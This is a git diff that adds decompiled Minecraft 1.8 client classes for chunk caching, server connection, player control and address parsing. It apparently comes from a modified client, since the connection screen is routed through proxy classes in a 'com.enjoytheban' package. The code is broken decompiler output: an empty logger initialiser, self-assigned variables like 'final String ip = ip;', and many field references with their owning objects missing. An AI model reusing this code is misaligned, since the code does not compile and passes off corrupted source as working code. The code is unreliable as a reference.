+    vertices[1] = vertices[1].setTexturePosition(texcoordU1 / textureWidth + var8, texcoordV1 / textureHeight + var9);
+    vertices[2] = vertices[2].setTexturePosition(texcoordU1 / textureWidth + var8, texcoordV2 / textureHeight - var9);
+    vertices[3] = vertices[3].setTexturePosition(texcoordU2 / textureWidth - var8, texcoordV2 / textureHeight - var9);
+  }
+  
+  public void flipFace()
+  {
+    PositionTextureVertex[] var1 = new PositionTextureVertex[vertexPositions.length];
+    
+    for (int var2 = 0; var2 < vertexPositions.length; var2++)
+    {
+      var1[var2] = vertexPositions[(vertexPositions.length - var2 - 1)];
+    }
+    
+    vertexPositions = var1;
+  }
+  
+  public void func_178765_a(WorldRenderer renderer, float scale)
+  {
+    Vec3 var3 = vertexPositions[1].vector3D.subtractReverse(vertexPositions[0].vector3D);
+    Vec3 var4 = vertexPositions[1].vector3D.subtractReverse(vertexPositions[2].vector3D);
+    Vec3 var5 = var4.crossProduct(var3).normalize();
+    renderer.startDrawingQuads();
+    
+    if (Config.isShaders())
+    {
+      SVertexBuilder.startTexturedQuad(renderer);
+    }
+    
+    if (invertNormal)
+    {
+      renderer.func_178980_d(-(float)xCoord, -(float)yCoord, -(float)zCoord);
+    }
+    else
+    {
+      renderer.func_178980_d((float)xCoord, (float)yCoord, (float)zCoord);
+    }
+    
+    for (int var6 = 0; var6 < 4; var6++)
+    {
+      PositionTextureVertex var7 = vertexPositions[var6];
+      renderer.addVertexWithUV(vector3D.xCoord * scale, vector3D.yCoord * scale, vector3D.zCoord * scale, texturePositionX, texturePositionY);
+    }
+    
+    Tessellator.getInstance().draw();
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/multiplayer/ChunkProviderClient.java b/src/minecraft/net/minecraft/client/multiplayer/ChunkProviderClient.java
new file mode 100644
index 0000000..23ae5cf
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/multiplayer/ChunkProviderClient.java
@@ -0,0 +1,180 @@
+package net.minecraft.client.multiplayer;
+
+import com.google.common.collect.Lists;
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.entity.EnumCreatureType;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.IProgressUpdate;
+import net.minecraft.util.LongHashMap;
+import net.minecraft.world.ChunkCoordIntPair;
+import net.minecraft.world.World;
+import net.minecraft.world.chunk.Chunk;
+import net.minecraft.world.chunk.EmptyChunk;
+import net.minecraft.world.chunk.IChunkProvider;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class ChunkProviderClient implements IChunkProvider
+{
+  private static final Logger logger = ;
+  
+
+
+
+
+  private Chunk blankChunk;
+  
+
+
+
+  private LongHashMap chunkMapping = new LongHashMap();
+  
+
+
+
+
+  private List chunkListing = Lists.newArrayList();
+  
+  private World worldObj;
+  
+  private static final String __OBFID = "CL_00000880";
+  
+  public ChunkProviderClient(World worldIn)
+  {
+    blankChunk = new EmptyChunk(worldIn, 0, 0);
+    worldObj = worldIn;
+  }
+  
+
+
+
+  public boolean chunkExists(int p_73149_1_, int p_73149_2_)
+  {
+    return true;
+  }
+  
+
+
+
+
+  public void unloadChunk(int p_73234_1_, int p_73234_2_)
+  {
+    Chunk var3 = provideChunk(p_73234_1_, p_73234_2_);
+    
+    if (!var3.isEmpty())
+    {
+      var3.onChunkUnload();
+    }
+    
+    chunkMapping.remove(ChunkCoordIntPair.chunkXZ2Int(p_73234_1_, p_73234_2_));
+    chunkListing.remove(var3);
+  }
+  
+
+
+
+  public Chunk loadChunk(int p_73158_1_, int p_73158_2_)
+  {
+    Chunk var3 = new Chunk(worldObj, p_73158_1_, p_73158_2_);
+    chunkMapping.add(ChunkCoordIntPair.chunkXZ2Int(p_73158_1_, p_73158_2_), var3);
+    chunkListing.add(var3);
+    var3.func_177417_c(true);
+    return var3;
+  }
+  
+
+
+
+
+  public Chunk provideChunk(int p_73154_1_, int p_73154_2_)
+  {
+    Chunk var3 = (Chunk)chunkMapping.getValueByKey(ChunkCoordIntPair.chunkXZ2Int(p_73154_1_, p_73154_2_));
+    return var3 == null ? blankChunk : var3;
+  }
+  
+
+
+
+
+  public boolean saveChunks(boolean p_73151_1_, IProgressUpdate p_73151_2_)
+  {
+    return true;
+  }
+  
+
+
+
+
+  public void saveExtraData() {}
+  
+
+
+
+  public boolean unloadQueuedChunks()
+  {
+    long var1 = System.currentTimeMillis();
+    Iterator var3 = chunkListing.iterator();
+    
+    while (var3.hasNext())
+    {
+      Chunk var4 = (Chunk)var3.next();
+      var4.func_150804_b(System.currentTimeMillis() - var1 > 5L);
+    }
+    
+    if (System.currentTimeMillis() - var1 > 100L)
+    {
+      logger.info("Warning: Clientside chunk ticking took {} ms", new Object[] { Long.valueOf(System.currentTimeMillis() - var1) });
+    }
+    
+    return false;
+  }
+  
+
+
+
+  public boolean canSave()
+  {
+    return false;
+  }
+  
+
+
+  public void populate(IChunkProvider p_73153_1_, int p_73153_2_, int p_73153_3_) {}
+  
+
+  public boolean func_177460_a(IChunkProvider p_177460_1_, Chunk p_177460_2_, int p_177460_3_, int p_177460_4_)
+  {
+    return false;
+  }
+  
+
+
+
+  public String makeString()
+  {
+    return "MultiplayerChunkCache: " + chunkMapping.getNumHashElements() + ", " + chunkListing.size();
+  }
+  
+  public List func_177458_a(EnumCreatureType p_177458_1_, BlockPos p_177458_2_)
+  {
+    return null;
+  }
+  
+  public BlockPos func_180513_a(World worldIn, String p_180513_2_, BlockPos p_180513_3_)
+  {
+    return null;
+  }
+  
+  public int getLoadedChunkCount()
+  {
+    return chunkListing.size();
+  }
+  
+  public void func_180514_a(Chunk p_180514_1_, int p_180514_2_, int p_180514_3_) {}
+  
+  public Chunk func_177459_a(BlockPos p_177459_1_)
+  {
+    return provideChunk(p_177459_1_.getX() >> 4, p_177459_1_.getZ() >> 4);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/multiplayer/GuiConnecting.java b/src/minecraft/net/minecraft/client/multiplayer/GuiConnecting.java
new file mode 100644
index 0000000..570a9c1
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/multiplayer/GuiConnecting.java
@@ -0,0 +1,183 @@
+package net.minecraft.client.multiplayer;
+
+import com.enjoytheban.utils.proxy.ConnectionInfo;
+import com.enjoytheban.utils.proxy.GuiProxy;
+import com.enjoytheban.utils.proxy.ProxyConfig;
+import java.io.IOException;
+import java.net.InetAddress;
+import java.net.UnknownHostException;
+import java.util.List;
+import java.util.concurrent.atomic.AtomicInteger;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.gui.GuiButton;
+import net.minecraft.client.gui.GuiDisconnected;
+import net.minecraft.client.gui.GuiScreen;
+import net.minecraft.client.network.NetHandlerLoginClient;
+import net.minecraft.client.resources.I18n;
+import net.minecraft.network.EnumConnectionState;
+import net.minecraft.network.NetworkManager;
+import net.minecraft.network.login.client.C00PacketLoginStart;
+import net.minecraft.util.ChatComponentText;
+import net.minecraft.util.ChatComponentTranslation;
+import net.minecraft.util.Session;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class GuiConnecting extends GuiScreen
+{
+  private static final AtomicInteger CONNECTION_ID = new AtomicInteger(0);
+  private static final Logger logger = LogManager.getLogger();
+  public NetworkManager networkManager;
+  private boolean cancel;
+  private final GuiScreen previousGuiScreen;
+  private static final String __OBFID = "CL_00000685";
+  
+  public GuiConnecting(GuiScreen p_i1181_1_, Minecraft mcIn, ServerData p_i1181_3_)
+  {
+    mc = mcIn;
+    previousGuiScreen = p_i1181_1_;
+    ServerAddress var4 = ServerAddress.func_78860_a(serverIP);
+    mcIn.loadWorld(null);
+    mcIn.setServerData(p_i1181_3_);
+    connect(var4.getIP(), var4.getPort());
+  }
+  
+  public GuiConnecting(GuiScreen p_i1182_1_, Minecraft mcIn, String p_i1182_3_, int p_i1182_4_)
+  {
+    mc = mcIn;
+    previousGuiScreen = p_i1182_1_;
+    mcIn.loadWorld(null);
+    connect(p_i1182_3_, p_i1182_4_);
+  }
+  
+
+
+
+
+
+  private void connect(final String ipo, final int porto)
+  {
+    ConnectionInfo con = ProxyConfig.connect(ipo, porto);
+    final String ip = ip;
+    final int port = port;
+    
+    logger.info("Connecting to " + ip + ", " + port);
+    new Thread("Server Connector #" + CONNECTION_ID.incrementAndGet())
+    {
+      private static final String __OBFID = "CL_00000686";
+      
+      public void run() {
+        InetAddress var1 = null;
+        
+        try
+        {
+          if (cancel)
+          {
+            return;
+          }
+          
+          var1 = InetAddress.getByName(GuiProxy.connected ? ip : ipo);
+          networkManager = NetworkManager.provideLanClient(var1, GuiProxy.connected ? port : porto);
+          networkManager.setNetHandler(new NetHandlerLoginClient(networkManager, mc, previousGuiScreen));
+          networkManager.sendPacket(new net.minecraft.network.handshake.client.C00Handshake(47, ipo, porto, EnumConnectionState.LOGIN));
+          networkManager.sendPacket(new C00PacketLoginStart(mc.getSession().getProfile()));
+        }
+        catch (UnknownHostException var5)
+        {
+          if (cancel)
+          {
+            return;
+          }
+          
+          GuiConnecting.logger.error("Couldn't connect to server", var5);
+          mc.displayGuiScreen(new GuiDisconnected(previousGuiScreen, "connect.failed", new ChatComponentTranslation("disconnect.genericReason", new Object[] { "Unknown host" })));
+        }
+        catch (Exception var6)
+        {
+          if (cancel)
+          {
+            return;
+          }
+          
+          GuiConnecting.logger.error("Couldn't connect to server", var6);
+          String var3 = var6.toString();
+          
+          if (var1 != null)
+          {
+            String var4 = var1.toString() + ":" + port;
+            var3 = var3.replaceAll(var4, "");
+          }
+          
+          mc.displayGuiScreen(new GuiDisconnected(previousGuiScreen, "connect.failed", new ChatComponentTranslation("disconnect.genericReason", new Object[] { var3 })));
+        }
+      }
+    }.start();
+  }
+  
+
+
+
+  public void updateScreen()
+  {
+    if (networkManager != null)
+    {
+      if (networkManager.isChannelOpen())
+      {
+        networkManager.processReceivedPackets();
+      }
+      else
+      {
+        networkManager.checkDisconnected();
+      }
+    }
+  }
+  
+
+
+
+  protected void keyTyped(char typedChar, int keyCode)
+    throws IOException
+  {}
+  
+
+
+  public void initGui()
+  {
+    buttonList.clear();
+    buttonList.add(new GuiButton(0, width / 2 - 100, height / 4 + 120 + 12, I18n.format("gui.cancel", new Object[0])));
+  }
+  
+  protected void actionPerformed(GuiButton button) throws IOException
+  {
+    if (id == 0)
+    {
+      cancel = true;
+      
+      if (networkManager != null)
+      {
+        networkManager.closeChannel(new ChatComponentText("Aborted"));
+      }
+      
+      mc.displayGuiScreen(previousGuiScreen);
+    }
+  }
+  
+
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    drawDefaultBackground();
+    
+    if (networkManager == null)
+    {
+      drawCenteredString(fontRendererObj, I18n.format("connect.connecting", new Object[0]), width / 2, height / 2 - 50, 16777215);
+    }
+    else
+    {
+      drawCenteredString(fontRendererObj, I18n.format("connect.authorizing", new Object[0]), width / 2, height / 2 - 50, 16777215);
+    }
+    
+    super.drawScreen(mouseX, mouseY, partialTicks);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/multiplayer/PlayerControllerMP.java b/src/minecraft/net/minecraft/client/multiplayer/PlayerControllerMP.java
new file mode 100644
index 0000000..de1afd9
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/multiplayer/PlayerControllerMP.java
@@ -0,0 +1,619 @@
+package net.minecraft.client.multiplayer;
+
+import net.minecraft.block.Block;
+import net.minecraft.block.Block.SoundType;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.audio.SoundHandler;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.network.NetHandlerPlayClient;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.passive.EntityHorse;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.inventory.Container;
+import net.minecraft.item.ItemBlock;
+import net.minecraft.item.ItemStack;
+import net.minecraft.network.NetworkManager;
+import net.minecraft.network.play.client.C02PacketUseEntity;
+import net.minecraft.network.play.client.C02PacketUseEntity.Action;
+import net.minecraft.network.play.client.C07PacketPlayerDigging;
+import net.minecraft.network.play.client.C07PacketPlayerDigging.Action;
+import net.minecraft.network.play.client.C08PacketPlayerBlockPlacement;
+import net.minecraft.network.play.client.C09PacketHeldItemChange;
+import net.minecraft.network.play.client.C10PacketCreativeInventoryAction;
+import net.minecraft.stats.StatFileWriter;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.MovingObjectPosition;
+import net.minecraft.util.Vec3;
+import net.minecraft.world.World;
+import net.minecraft.world.WorldSettings.GameType;
+import net.minecraft.world.border.WorldBorder;
+
+public class PlayerControllerMP
+{
+  private final Minecraft mc;
+  private final NetHandlerPlayClient netClientHandler;
+  private BlockPos field_178895_c = new BlockPos(-1, -1, -1);
+  
+
+  private ItemStack currentItemHittingBlock;
+  
+
+  private float curBlockDamageMP;
+  
+
+  private float stepSoundTickCounter;
+  
+
+  private int blockHitDelay;
+  
+
+  private boolean isHittingBlock;
+  
+
+  private WorldSettings.GameType currentGameType;
+  
+
+  private int currentPlayerItem;
+  
+
+  private static final String __OBFID = "CL_00000881";
+  
+
+
+  public PlayerControllerMP(Minecraft mcIn, NetHandlerPlayClient p_i45062_2_)
+  {
+    currentGameType = WorldSettings.GameType.SURVIVAL;
+    mc = mcIn;
+    netClientHandler = p_i45062_2_;
+  }
+  
+  public static void func_178891_a(Minecraft mcIn, PlayerControllerMP p_178891_1_, BlockPos p_178891_2_, EnumFacing p_178891_3_)
+  {
+    if (!theWorld.func_175719_a(thePlayer, p_178891_2_, p_178891_3_))
+    {
+      p_178891_1_.func_178888_a(p_178891_2_, p_178891_3_);
+    }
+  }
+  
+
+
+
+  public void setPlayerCapabilities(EntityPlayer p_78748_1_)
+  {
+    currentGameType.configurePlayerCapabilities(capabilities);
+  }
+  
+
+
+
+
+
+
+  public boolean enableEverythingIsScrewedUpMode()
+  {
+    return currentGameType == WorldSettings.GameType.SPECTATOR;
+  }
+  
+
+
+
+  public void setGameType(WorldSettings.GameType p_78746_1_)
+  {
+    currentGameType = p_78746_1_;
+    currentGameType.configurePlayerCapabilities(mc.thePlayer.capabilities);
+  }
+  
+
+
+
+  public void flipPlayer(EntityPlayer playerIn)
+  {
+    rotationYaw = -180.0F;
+  }
+  
+  public boolean shouldDrawHUD()
+  {
+    return currentGameType.isSurvivalOrAdventure();
+  }
+  
+  public boolean func_178888_a(BlockPos p_178888_1_, EnumFacing p_178888_2_)
+  {
+    if (currentGameType.isAdventure())
+    {
+      if (currentGameType == WorldSettings.GameType.SPECTATOR)
+      {
+        return false;
+      }
+      
+      if (!mc.thePlayer.func_175142_cm())
+      {
+        Block var3 = mc.theWorld.getBlockState(p_178888_1_).getBlock();
+        ItemStack var4 = mc.thePlayer.getCurrentEquippedItem();
+        
+        if (var4 == null)
+        {
+          return false;
+        }
+        
+        if (!var4.canDestroy(var3))
+        {
+          return false;
+        }
+      }
+    }
+    
+    if ((currentGameType.isCreative()) && (mc.thePlayer.getHeldItem() != null) && ((mc.thePlayer.getHeldItem().getItem() instanceof net.minecraft.item.ItemSword)))
+    {
+      return false;
+    }
+    
+
+    WorldClient var8 = mc.theWorld;
+    IBlockState var9 = var8.getBlockState(p_178888_1_);
+    Block var5 = var9.getBlock();
+    
+    if (var5.getMaterial() == Material.air)
+    {
+      return false;
+    }
+    
+
+    var8.playAuxSFX(2001, p_178888_1_, Block.getStateId(var9));
+    boolean var6 = var8.setBlockToAir(p_178888_1_);
+    
+    if (var6)
+    {
+      var5.onBlockDestroyedByPlayer(var8, p_178888_1_, var9);
+    }
+    
+    field_178895_c = new BlockPos(field_178895_c.getX(), -1, field_178895_c.getZ());
+    
+    if (!currentGameType.isCreative())
+    {
+      ItemStack var7 = mc.thePlayer.getCurrentEquippedItem();
+      
+      if (var7 != null)
+      {
+        var7.onBlockDestroyed(var8, var5, p_178888_1_, mc.thePlayer);
+        
+        if (stackSize == 0)
+        {
+          mc.thePlayer.destroyCurrentEquippedItem();
+        }
+      }
+    }
+    
+    return var6;
+  }
+  
+
+
+
+
+  public boolean func_180511_b(BlockPos p_180511_1_, EnumFacing p_180511_2_)
+  {
+    if (currentGameType.isAdventure())
+    {
+      if (currentGameType == WorldSettings.GameType.SPECTATOR)
+      {
+        return false;
+      }
+      
+      if (!mc.thePlayer.func_175142_cm())
+      {
+        Block var3 = mc.theWorld.getBlockState(p_180511_1_).getBlock();
+        ItemStack var4 = mc.thePlayer.getCurrentEquippedItem();
+        
+        if (var4 == null)
+        {
+          return false;
+        }
+        
+        if (!var4.canDestroy(var3))
+        {
+          return false;
+        }
+      }
+    }
+    
+    if (!mc.theWorld.getWorldBorder().contains(p_180511_1_))
+    {
+      return false;
+    }
+    
+
+    if (currentGameType.isCreative())
+    {
+      netClientHandler.addToSendQueue(new C07PacketPlayerDigging(C07PacketPlayerDigging.Action.START_DESTROY_BLOCK, p_180511_1_, p_180511_2_));
+      func_178891_a(mc, this, p_180511_1_, p_180511_2_);
+      blockHitDelay = 5;
+    }
+    else if ((!isHittingBlock) || (!func_178893_a(p_180511_1_)))
+    {
+      if (isHittingBlock)
+      {
+        netClientHandler.addToSendQueue(new C07PacketPlayerDigging(C07PacketPlayerDigging.Action.ABORT_DESTROY_BLOCK, field_178895_c, p_180511_2_));
+      }
+      
+      netClientHandler.addToSendQueue(new C07PacketPlayerDigging(C07PacketPlayerDigging.Action.START_DESTROY_BLOCK, p_180511_1_, p_180511_2_));
+      Block var3 = mc.theWorld.getBlockState(p_180511_1_).getBlock();
+      boolean var5 = var3.getMaterial() != Material.air;
+      
+      if ((var5) && (curBlockDamageMP == 0.0F))
+      {
+        var3.onBlockClicked(mc.theWorld, p_180511_1_, mc.thePlayer);
+      }
+      
+      if ((var5) && (var3.getPlayerRelativeBlockHardness(mc.thePlayer, mc.thePlayer.worldObj, p_180511_1_) >= 1.0F))
+      {
+        func_178888_a(p_180511_1_, p_180511_2_);
+      }
+      else
+      {
+        isHittingBlock = true;
+        field_178895_c = p_180511_1_;
+        currentItemHittingBlock = mc.thePlayer.getHeldItem();
+        curBlockDamageMP = 0.0F;
+        stepSoundTickCounter = 0.0F;
+        mc.theWorld.sendBlockBreakProgress(mc.thePlayer.getEntityId(), field_178895_c, (int)(curBlockDamageMP * 10.0F) - 1);
+      }
+    }
+    
+    return true;
+  }
+  
+
+
+
+
+  public void resetBlockRemoving()
+  {
+    if (isHittingBlock)
+    {
+      netClientHandler.addToSendQueue(new C07PacketPlayerDigging(C07PacketPlayerDigging.Action.ABORT_DESTROY_BLOCK, field_178895_c, EnumFacing.DOWN));
+      isHittingBlock = false;
+      curBlockDamageMP = 0.0F;
+      mc.theWorld.sendBlockBreakProgress(mc.thePlayer.getEntityId(), field_178895_c, -1);
+    }
+  }
+  
+  public boolean func_180512_c(BlockPos p_180512_1_, EnumFacing p_180512_2_)
+  {
+    syncCurrentPlayItem();
+    
+    if (blockHitDelay > 0)
+    {
+      blockHitDelay -= 1;
+      return true;
+    }
+    if ((currentGameType.isCreative()) && (mc.theWorld.getWorldBorder().contains(p_180512_1_)))
+    {
+      blockHitDelay = 5;
+      netClientHandler.addToSendQueue(new C07PacketPlayerDigging(C07PacketPlayerDigging.Action.START_DESTROY_BLOCK, p_180512_1_, p_180512_2_));
+      func_178891_a(mc, this, p_180512_1_, p_180512_2_);
+      return true;
+    }
+    if (func_178893_a(p_180512_1_))
+    {
+      Block var3 = mc.theWorld.getBlockState(p_180512_1_).getBlock();
+      
+      if (var3.getMaterial() == Material.air)
+      {
+        isHittingBlock = false;
+        return false;
+      }
+      
+
+      curBlockDamageMP += var3.getPlayerRelativeBlockHardness(mc.thePlayer, mc.thePlayer.worldObj, p_180512_1_);
+      
+      if (stepSoundTickCounter % 4.0F == 0.0F)
+      {
+        mc.getSoundHandler().playSound(new net.minecraft.client.audio.PositionedSoundRecord(new net.minecraft.util.ResourceLocation(stepSound.getStepSound()), (stepSound.getVolume() + 1.0F) / 8.0F, stepSound.getFrequency() * 0.5F, p_180512_1_.getX() + 0.5F, p_180512_1_.getY() + 0.5F, p_180512_1_.getZ() + 0.5F));
+      }
+      
+      stepSoundTickCounter += 1.0F;
+      
+      if (curBlockDamageMP >= 1.0F)
+      {
+        isHittingBlock = false;
+        netClientHandler.addToSendQueue(new C07PacketPlayerDigging(C07PacketPlayerDigging.Action.STOP_DESTROY_BLOCK, p_180512_1_, p_180512_2_));
+        func_178888_a(p_180512_1_, p_180512_2_);
+        curBlockDamageMP = 0.0F;
+        stepSoundTickCounter = 0.0F;
+        blockHitDelay = 5;
+      }
+      
+      mc.theWorld.sendBlockBreakProgress(mc.thePlayer.getEntityId(), field_178895_c, (int)(curBlockDamageMP * 10.0F) - 1);
+      return true;
+    }
+    
+
+
+    return func_180511_b(p_180512_1_, p_180512_2_);
+  }
+  
+
+
+
+
+  public float getBlockReachDistance()
+  {
+    return currentGameType.isCreative() ? 5.0F : 4.5F;
+  }
+  
+  public void updateController()
+  {
+    syncCurrentPlayItem();
+    
+    if (netClientHandler.getNetworkManager().isChannelOpen())
+    {
+      netClientHandler.getNetworkManager().processReceivedPackets();
+    }
+    else
+    {
+      netClientHandler.getNetworkManager().checkDisconnected();
+    }
+  }
+  
+  private boolean func_178893_a(BlockPos p_178893_1_)
+  {
+    ItemStack var2 = mc.thePlayer.getHeldItem();
+    boolean var3 = (currentItemHittingBlock == null) && (var2 == null);
+    
+    if ((currentItemHittingBlock != null) && (var2 != null))
+    {
+      var3 = (var2.getItem() == currentItemHittingBlock.getItem()) && (ItemStack.areItemStackTagsEqual(var2, currentItemHittingBlock)) && ((var2.isItemStackDamageable()) || (var2.getMetadata() == currentItemHittingBlock.getMetadata()));
+    }
+    
+    return (p_178893_1_.equals(field_178895_c)) && (var3);
+  }
+  
+
+
+
+  private void syncCurrentPlayItem()
+  {
+    int var1 = mc.thePlayer.inventory.currentItem;
+    
+    if (var1 != currentPlayerItem)
+    {
+      currentPlayerItem = var1;
+      netClientHandler.addToSendQueue(new C09PacketHeldItemChange(currentPlayerItem));
+    }
+  }
+  
+  public boolean func_178890_a(EntityPlayerSP p_178890_1_, WorldClient p_178890_2_, ItemStack p_178890_3_, BlockPos p_178890_4_, EnumFacing p_178890_5_, Vec3 p_178890_6_)
+  {
+    syncCurrentPlayItem();
+    float var7 = (float)(xCoord - p_178890_4_.getX());
+    float var8 = (float)(yCoord - p_178890_4_.getY());
+    float var9 = (float)(zCoord - p_178890_4_.getZ());
+    boolean var10 = false;
+    
+    if (!mc.theWorld.getWorldBorder().contains(p_178890_4_))
+    {
+      return false;
+    }
+    
+
+    if (currentGameType != WorldSettings.GameType.SPECTATOR)
+    {
+      IBlockState var11 = p_178890_2_.getBlockState(p_178890_4_);
+      
+      if (((!p_178890_1_.isSneaking()) || (p_178890_1_.getHeldItem() == null)) && (var11.getBlock().onBlockActivated(p_178890_2_, p_178890_4_, var11, p_178890_1_, p_178890_5_, var7, var8, var9)))
+      {
+        var10 = true;
+      }
+      
+      if ((!var10) && (p_178890_3_ != null) && ((p_178890_3_.getItem() instanceof ItemBlock)))
+      {
+        ItemBlock var12 = (ItemBlock)p_178890_3_.getItem();
+        
+        if (!var12.canPlaceBlockOnSide(p_178890_2_, p_178890_4_, p_178890_5_, p_178890_1_, p_178890_3_))
+        {
+          return false;
+        }
+      }
+    }
+    
+    netClientHandler.addToSendQueue(new C08PacketPlayerBlockPlacement(p_178890_4_, p_178890_5_.getIndex(), inventory.getCurrentItem(), var7, var8, var9));
+    
+    if ((!var10) && (currentGameType != WorldSettings.GameType.SPECTATOR))
+    {
+      if (p_178890_3_ == null)
+      {
+        return false;
+      }
+      if (currentGameType.isCreative())
+      {
+        int var14 = p_178890_3_.getMetadata();
+        int var15 = stackSize;
+        boolean var13 = p_178890_3_.onItemUse(p_178890_1_, p_178890_2_, p_178890_4_, p_178890_5_, var7, var8, var9);
+        p_178890_3_.setItemDamage(var14);
+        stackSize = var15;
+        return var13;
+      }
+      
+
+      return p_178890_3_.onItemUse(p_178890_1_, p_178890_2_, p_178890_4_, p_178890_5_, var7, var8, var9);
+    }
+    
+
+
+    return true;
+  }
+  
+
+
+
+
+
+  public boolean sendUseItem(EntityPlayer playerIn, World worldIn, ItemStack itemStackIn)
+  {
+    if (currentGameType == WorldSettings.GameType.SPECTATOR)
+    {
+      return false;
+    }
+    
+
+    syncCurrentPlayItem();
+    netClientHandler.addToSendQueue(new C08PacketPlayerBlockPlacement(inventory.getCurrentItem()));
+    
+    int var4 = stackSize;
+    ItemStack var5 = itemStackIn.useItemRightClick(worldIn, playerIn);
+    
+    if ((var5 == itemStackIn) && ((var5 == null) || (stackSize == var4)))
+    {
+      return false;
+    }
+    
+
+    inventory.mainInventory[inventory.currentItem] = var5;
+    
+    if (stackSize == 0)
+    {
+      inventory.mainInventory[inventory.currentItem] = null;
+    }
+    
+    return true;
+  }
+  
+
+
+  public EntityPlayerSP func_178892_a(World worldIn, StatFileWriter p_178892_2_)
+  {
+    return new EntityPlayerSP(mc, worldIn, netClientHandler, p_178892_2_);
+  }
+  
+
+
+
+  public void attackEntity(EntityPlayer playerIn, Entity targetEntity)
+  {
+    syncCurrentPlayItem();
+    netClientHandler.addToSendQueue(new C02PacketUseEntity(targetEntity, C02PacketUseEntity.Action.ATTACK));
+    
+    if (currentGameType != WorldSettings.GameType.SPECTATOR)
+    {
+      playerIn.attackTargetEntityWithCurrentItem(targetEntity);
+    }
+  }
+  
+
+
+
+  public boolean interactWithEntitySendPacket(EntityPlayer playerIn, Entity targetEntity)
+  {
+    syncCurrentPlayItem();
+    netClientHandler.addToSendQueue(new C02PacketUseEntity(targetEntity, C02PacketUseEntity.Action.INTERACT));
+    return (currentGameType != WorldSettings.GameType.SPECTATOR) && (playerIn.interactWith(targetEntity));
+  }
+  
+  public boolean func_178894_a(EntityPlayer p_178894_1_, Entity p_178894_2_, MovingObjectPosition p_178894_3_)
+  {
+    syncCurrentPlayItem();
+    Vec3 var4 = new Vec3(hitVec.xCoord - posX, hitVec.yCoord - posY, hitVec.zCoord - posZ);
+    netClientHandler.addToSendQueue(new C02PacketUseEntity(p_178894_2_, var4));
+    return (currentGameType != WorldSettings.GameType.SPECTATOR) && (p_178894_2_.func_174825_a(p_178894_1_, var4));
+  }
+  
+
+
+
+  public ItemStack windowClick(int windowId, int slotId, int p_78753_3_, int p_78753_4_, EntityPlayer playerIn)
+  {
+    short var6 = openContainer.getNextTransactionID(inventory);
+    ItemStack var7 = openContainer.slotClick(slotId, p_78753_3_, p_78753_4_, playerIn);
+    netClientHandler.addToSendQueue(new net.minecraft.network.play.client.C0EPacketClickWindow(windowId, slotId, p_78753_3_, p_78753_4_, var7, var6));
+    return var7;
+  }
+  
+
+
+
+
+  public void sendEnchantPacket(int p_78756_1_, int p_78756_2_)
+  {
+    netClientHandler.addToSendQueue(new net.minecraft.network.play.client.C11PacketEnchantItem(p_78756_1_, p_78756_2_));
+  }
+  
+
+
+
+  public void sendSlotPacket(ItemStack itemStackIn, int slotId)
+  {
+    if (currentGameType.isCreative())
+    {
+      netClientHandler.addToSendQueue(new C10PacketCreativeInventoryAction(slotId, itemStackIn));
+    }
+  }
+  
+
+
+
+  public void sendPacketDropItem(ItemStack itemStackIn)
+  {
+    if ((currentGameType.isCreative()) && (itemStackIn != null))
+    {
+      netClientHandler.addToSendQueue(new C10PacketCreativeInventoryAction(-1, itemStackIn));
+    }
+  }
+  
+  public void onStoppedUsingItem(EntityPlayer playerIn)
+  {
+    syncCurrentPlayItem();
+    netClientHandler.addToSendQueue(new C07PacketPlayerDigging(C07PacketPlayerDigging.Action.RELEASE_USE_ITEM, BlockPos.ORIGIN, EnumFacing.DOWN));
+    playerIn.stopUsingItem();
+  }
+  
+  public boolean gameIsSurvivalOrAdventure()
+  {
+    return currentGameType.isSurvivalOrAdventure();
+  }
+  
+
+
+
+  public boolean isNotCreative()
+  {
+    return !currentGameType.isCreative();
+  }
+  
+
+
+
+  public boolean isInCreativeMode()
+  {
+    return currentGameType.isCreative();
+  }
+  
+
+
+
+  public boolean extendedReach()
+  {
+    return currentGameType.isCreative();
+  }
+  
+
+
+
+  public boolean isRidingHorse()
+  {
+    return (mc.thePlayer.isRiding()) && ((mc.thePlayer.ridingEntity instanceof EntityHorse));
+  }
+  
+  public boolean isSpectatorMode()
+  {
+    return currentGameType == WorldSettings.GameType.SPECTATOR;
+  }
+  
+  public WorldSettings.GameType func_178889_l()
+  {
+    return currentGameType;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/multiplayer/ServerAddress.java b/src/minecraft/net/minecraft/client/multiplayer/ServerAddress.java
new file mode 100644
index 0000000..912c31c
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/multiplayer/ServerAddress.java
@@ -0,0 +1,114 @@
+package net.minecraft.client.multiplayer;
+
+import java.net.IDN;
+import java.util.Hashtable;
+import javax.naming.directory.Attributes;
+import javax.naming.directory.InitialDirContext;
+
+public class ServerAddress
+{
+  private final String ipAddress;
+  private final int serverPort;
+  private static final String __OBFID = "CL_00000889";
+  
+  private ServerAddress(String p_i1192_1_, int p_i1192_2_)
+  {
+    ipAddress = p_i1192_1_;
+    serverPort = p_i1192_2_;
+  }
+  
+  public String getIP()
+  {
+    return IDN.toASCII(ipAddress);
+  }
+  
+  public int getPort()
+  {
+    return serverPort;
+  }
+  
+  public static ServerAddress func_78860_a(String p_78860_0_)
+  {
+    if (p_78860_0_ == null)
+    {
+      return null;
+    }
+    
+
+    String[] var1 = p_78860_0_.split(":");
+    
+    if (p_78860_0_.startsWith("["))
+    {
+      int var2 = p_78860_0_.indexOf("]");
+      
